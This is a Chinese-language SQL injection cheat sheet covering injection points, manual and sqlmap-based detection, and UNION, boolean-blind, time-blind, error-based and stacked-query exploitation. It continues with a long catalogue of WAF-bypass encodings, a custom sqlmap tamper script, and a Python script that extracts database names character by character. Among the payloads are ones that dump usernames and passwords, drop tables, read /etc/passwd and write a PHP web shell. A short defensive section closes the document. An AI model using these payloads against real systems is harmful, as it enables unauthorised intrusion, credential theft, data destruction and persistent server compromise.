1. SQL注入漏洞分类与原理
1.1 按注入位置分类
1.1.1 GET参数注入
-- 示例URL
http://test.com/news.php?id=1' AND 1=1--
1.1.2 POST参数注入
vb
`POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=123`
1.1.3 Cookie注入
GET /index.php HTTP/1.1
Cookie: user_id=1' UNION SELECT 1,2,3--
1.1.4 HTTP头注入
GET / HTTP/1.1
Host: test.com
User-Agent: ' OR 1=1--
X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--
1.2 按数据库类型分类
|------------|------------------------|-------------------------------------|
| 数据库类型 | 特征 | 常见函数 |
| MySQL | 注释符:-- , #, /**/ | version(), user(), database() |
| PostgreSQL | 注释符:--, /**/ | version(), current_user |
| SQL Server | 注释符:--, /**/ | @@version, user_name() |
| Oracle | 注释符:--, /**/ | banner, user |
2. SQL注入挖掘方法
2.1 手动检测流程
2.1.1 初步探测
-- 单引号测试
?id=1'
?id=1"
-- 逻辑测试
?id=1 AND 1=1
?id=1 AND 1=2
-- 算术运算测试
?id=2-1
?id=1+1
2.1.2 注释符测试
-- MySQL
?id=1' --
?id=1' #
?id=1' /*注释*/
-- 其他数据库
?id=1' --
?id=1' /**/
2.2 自动化工具挖掘
https://www.cnblogs.com/bmjoker/p/9326258.html
2.2.1 SQLmap基础使用
# 基本检测
sqlmap -u "http://test.com/news.php?id=1"
# 指定参数
sqlmap -u "http://test.com/news.php" --data="id=1&name=admin"
# Cookie注入
sqlmap -u "http://test.com/news.php" --cookie="id=1" --level=2
# 批量检测
sqlmap -m urls.txt
2.2.2 高级参数
# 指定数据库类型
sqlmap -u "http://test.com/news.php?id=1" --dbms=mysql
# 指定注入技术
sqlmap -u "http://test.com/news.php?id=1" --technique=BEUST
# 风险等级和测试级别
sqlmap -u "http://test.com/news.php?id=1" --risk=3 --level=5
3. 各类SQL注入利用详解
3.1 联合查询注入(Union-Based)
3.1.1 利用条件
- 页面有回显位置
- 能够使用UNION语句
- 知道列数
3.1.2 探测列数
-- 方法1:ORDER BY
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3-- -- 直到报错
-- 方法2:UNION SELECT
?id=1' UNION SELECT 1--
?id=1' UNION SELECT 1,2--
?id=1' UNION SELECT 1,2,3-- -- 直到不报错
3.1.3 完整利用Payload
-- 获取数据库版本和用户
?id=1' UNION SELECT 1,version(),user(),4--
-- 获取所有数据库名(MySQL)
?id=1' UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata--
-- 获取表名
?id=1' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
-- 获取字段名
?id=1' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'--
-- 获取数据
?id=1' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users--
3.2 布尔盲注(Boolean-Based Blind)
3.2.1 利用条件
- 页面无直接回显但会根据SQL结果变化
- 存在True/False两种不同页面状态
3.2.2 探测技巧
-- 判断数据库长度
?id=1' AND length(database())=1--
?id=1' AND length(database())=2--
-- 逐字符猜解数据库名
?id=1' AND substr(database(),1,1)='a'--
?id=1' AND ascii(substr(database(),1,1))=97--
-- 判断表是否存在
?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users')=1--
3.2.3 自动化脚本示例
import requests
import string
def boolean_blind_injection(url):
chars = string.ascii_lowercase + string.digits + '_-'
result = ""
for position in range(1, 50):
found_char = False
for char in chars:
payload = f"' AND substr(database(),{position},1)='{char}'-- "
full_url = f"{url}{payload}"
response = requests.get(full_url)
if "exists" in response.text: # 根据页面特征判断
result += char
found_char = True
print(f"Found: {result}")
break
if not found_char:
break
return result
3.3 时间盲注(Time-Based Blind)
3.3.1 利用条件
- 页面无任何回显差异
- 数据库支持时间延迟函数
3.3.2 各数据库延迟函数
-- MySQL
?id=1' AND SLEEP(5)--
?id=1' AND IF(1=1,SLEEP(5),0)--
-- PostgreSQL
?id=1' AND PG_SLEEP(5)--
-- SQL Server
?id=1' AND WAITFOR DELAY '0:0:5'--
-- Oracle
?id=1' AND (SELECT COUNT(*) FROM ALL_USERS WHERE username='SYS' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5))=1--
3.3.3 完整利用Payload
-- 判断数据库长度
?id=1' AND IF(length(database())=4,SLEEP(5),0)--
-- 逐字符猜解
?id=1' AND IF(ascii(substr(database(),1,1))=109,SLEEP(5),0)--
-- 判断表数量
?id=1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=5,SLEEP(5),0)--
3.4 报错注入(Error-Based)
https://www.jianshu.com/p/bc35f8dd4f7c
3.4.1 利用条件
- 页面显示数据库错误信息
- 数据库支持报错函数
3.4.2 MySQL报错Payload
-- extractvalue报错
?id=1' AND extractvalue(1,concat(0x7e,version(),0x7e))--
-- updatexml报错
?id=1' AND updatexml(1,concat(0x7e,user(),0x7e),1)--
-- floor报错
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
3.4.3 其他数据库报错
-- PostgreSQL
?id=1' AND CAST(version() AS INTEGER)--
-- SQL Server
?id=1' AND (SELECT @@version WHERE 1=CONVERT(int,@@version))--
3.5 堆叠查询(Stacked Queries)
3.5.1 利用条件
- 支持多语句执行
- 通常存在于PHP的mysqli_multi_query()等函数
3.5.2 利用Payload
-- 增删改查操作
?id=1'; INSERT INTO users(username,password) VALUES ('hacker','pwd')--
?id=1'; UPDATE users SET password='hacked' WHERE username='admin'--
?id=1'; DROP TABLE users--
-- 文件操作(MySQL)
?id=1'; SELECT load_file('/etc/passwd')--
?id=1'; SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--
4. WAF绕过技术详解
4.1 编码绕过技术
4.1.1 URL编码绕过
-- 单重URL编码
%27%20%4f%52%20%31%3d%31%20%2d%2d%20
-- 解码后:' OR 1=1 --
-- 双重URL编码
%2527%2520%2541%254e%2544%2520%2531%253d%2531%2520%252d%252d%2520
-- 解码后:' AND 1=1 --
-- 非标准编码
' -> %u0027, %u02b9, %u02bc
4.1.2 Hex编码绕过
-- MySQL Hex编码
0x2720414e4420313d312d2d20 -- ' AND 1=1--
SELECT 0x7573657228 -- 代替 user()
-- 字符与Hex混合
SELECx54 0x75736572 -- SELECT user
4.1.3 Base64编码绕过
-- 在应用程序解码后执行
YW5kIDE9MS0tIA== -- and 1=1--
4.2 注释符绕过技术
4.2.1 多种注释符混合
-- MySQL注释
/*!SELECT*/ version() /*!FROM*/ dual
/*!50001 SELECT*/ 1
/*!sql*/select/*!sql*/ 1
-- 内联注释
SEL/**/ECT VER/**/SION()
4.2.2 空白符替代
-- 各种空白符
%09 %0a %0b %0c %0d %a0 %20
SELECT%0bversion()
SEL%0aECT%0cver%0dsion()
4.3 关键字拆分与混淆
4.3.1 大小写混合
SeLeCt VeRsIoN()
sEleCt vErSiOn()
4.3.2 双写关键字
SELSELECTECT VERSION()
UNIUNIONON SELSELECTECT 1,2,3
4.3.3 符号插入
S%E%L%E%C%T version()
S+E+L+E+C+T version()
S<E>L<E>C<T> version()
4.4 等价函数替换
4.4.1 空格替代方案
-- 代替空格
SELECT/**/version()
SELECT%0bversion()
SELECT/*comment*/version()
-- 使用括号
SELECT(version())
4.4.2 逗号替代方案
-- 使用JOIN代替逗号
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- 使用FROM和OFFSET
SELECT substr(database() FROM 1 FOR 1)
SELECT * FROM users LIMIT 1 OFFSET 0
4.4.3 比较运算符替代
-- 代替 =
username LIKE 'admin'
username REGEXP '^admin$'
username BETWEEN 'admin' AND 'admin'
-- 代替 AND/OR
username = 'admin' && password = 'pass'
username = 'admin' || 1=1
4.5 高级WAF绕过技术
4.5.1 HTTP参数污染
GET /test.php?id=1&id=2' UNION SELECT 1,2,3--
POST /login.php
username=admin&username=' OR 1=1--
4.5.2 分块传输编码
POST /test.php HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
1f
id=1' AND 1=1 UNION SELECT
1
-
0
4.5.3 畸形HTTP请求
-- 方法覆盖
GET /test.php?id=1' UNION SELECT 1,2,3-- HTTP/1.1
X-HTTP-Method-Override: POST
-- 协议版本
GET /test.php?id=1' UNION SELECT 1,2,3-- HTTP/0.9
4.6 数据库特定绕过
4.6.1 MySQL绕过技巧
-- 使用变量
SELECT @a:=(SELECT version())--
-- 使用反引号
SELECT `version`()--
SELECT version/*!()*/--
-- 使用花括号
{`version`()}
4.6.2 PostgreSQL绕过
-- 使用类型转换
SELECT version()::text
SELECT CAST(version() AS text)
-- 使用美元符号引用
SELECT $tag$version()$tag$
4.6.3 SQL Server绕过
-- 使用括号
(SELECT (version()))
-- 使用EXEC
EXEC('SELECT @@version')
4.7 实战WAF绕过Payload
4.7.1 联合查询绕过
-- 原始Payload
' UNION SELECT 1,2,3--
-- 绕过Payload
'/*!UnIoN*/ SeLeCt+1,2,3--+
'%0aUnIoN%0aSeLeCt%0a1,2,3%23
' uniunionon selselectect 1,2,3--
4.7.2 报错注入绕过
-- 原始Payload
' AND extractvalue(1,concat(0x7e,version()))--
-- 绕过Payload
'/*!aNd*//*!ExTrAcTVaLuE*/(1,CoNcAt(0x7e,VeRsIoN()))--
'%0aAND%0aupdatexml(1,concat(0x7e,(/*!SELECT%0adatabase()*/)),1)--+
4.7.3 时间盲注绕过
-- 原始Payload
' AND SLEEP(5)--
-- 绕过Payload
'/*!50000aNd*//*!50000SlEeP*/(5)--
' AND benchmark(1000000,md5('test'))--
'%0aAND%0a(SeLeCt%0a*%0aFrOm%0a(SeLeCt(SlEeP(5)))a)--
5. 自动化工具WAF绕过
5.1 SQLmap高级参数
# 随机User-Agent
sqlmap -u "http://test.com/news.php?id=1" --random-agent
# 使用代理池
sqlmap -u "http://test.com/news.php?id=1" --proxy="http://proxy.txt"
# 延迟和超时
sqlmap -u "http://test.com/news.php?id=1" --delay=2 --timeout=15
# 级别和风险
sqlmap -u "http://test.com/news.php?id=1" --level=5 --risk=3
# 指定绕过脚本
sqlmap -u "http://test.com/news.php?id=1" --tamper=space2comment,charencode
# 常用tamper脚本
--tamper=between,randomcase,space2comment
--tamper=space2mysqlblank,space2plus
--tamper=equaltolike,greatest
5.2 自定义绕过脚本
# 自定义tamper脚本示例
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
自定义绕过WAF的tamper脚本
"""
if payload:
payload = payload.replace("UNION", "/*!50000UNION*/")
payload = payload.replace("SELECT", "/*!50000SELECT*/")
payload = payload.replace(" ", "/**/")
payload = payload.replace("=", " LIKE ")
payload = payload.replace("AND", "/*!50000AND*/")
payload = payload.replace("OR", "/*!50000OR*/")
return payload
6. 漏洞验证与防御
6.1 漏洞验证方法
def verify_sql_injection(url, param):
"""
SQL注入漏洞验证函数
"""
test_payloads = [
"'",
"''",
"`",
"\"",
"\\",
"' AND '1'='1",
"' AND '1'='2",
"' OR '1'='1",
"' OR '1'='2"
]
for payload in test_payloads:
test_url = f"{url}?{param}={payload}"
response = requests.get(test_url)
# 检测错误信息
error_indicators = [
"mysql_fetch_array",
"Microsoft OLE DB Provider",
"ODBC Driver",
"PostgreSQL",
"SQLite",
"Warning",
"Syntax error"
]
for error in error_indicators:
if error in response.text:
return True, payload
return False, None
6.2 防御措施
<?php
// 预处理语句防御
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND username = ?");
$stmt->execute([$id, $username]);
// 输入过滤
function sanitize_input($input) {
$input = trim($input);
$input = stripslashes($input);
$input = htmlspecialchars($input);
return $input;
}
// 使用白名单验证
function is_valid_id($id) {
return is_numeric($id) && $id > 0;
}
// WAF规则示例
if (preg_match('/(union|select|insert|update|delete|drop|create|exec)/i', $input)) {
die("Invalid input detected");
}
?>